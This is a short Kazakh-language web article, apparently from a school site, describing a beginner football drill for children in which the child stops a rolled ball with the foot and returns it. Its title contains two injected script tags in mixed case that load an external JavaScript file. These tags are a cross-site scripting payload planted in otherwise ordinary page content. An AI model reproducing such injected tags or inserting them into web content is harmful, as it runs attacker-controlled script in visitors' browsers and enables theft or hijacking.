БАЛАЛАРҒА АРНАЛҒАН ФУТБОЛ ЖАТТЫҒУЛАРЫА<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

23.07.2024

Кез-келген спорт түрінен тек жаттығу арқылы жетістікке жетуге болады, футбол да ерекшеліктердің бірі емес. Маңызды дағдыларды автоматизмге жеткізу үшін доппен үнемі жаттығулар жасау керек. Сондықтан, бірінші жаттығу үшін қарапайым жаттығуларды таңдаған дұрыс, содан кейін жас ойыншыға қиын тапсырмалар берген дұрыс. Осылайша ол өз күшіне деген сенімділікті қалыптастырады.

Мақсаты футбол добын аяқпен тоқтату.

Бұл баламен жаттығу кезінде қолданылатын негізгі жаттығулардың бірі. Ең қарапайым нұсқа келесідей:

  • доп сіз жас ойыншыға допты айналдырасыз;
  • ол оны аяғымен тоқтатады;
  • содан кейін оны кері жібереді.

АӘТД және ДТ оқытушысы Азарбакытов Ж.

Просмотров: 601


Пікір қосу



Деректерді қолтаңбаға қосу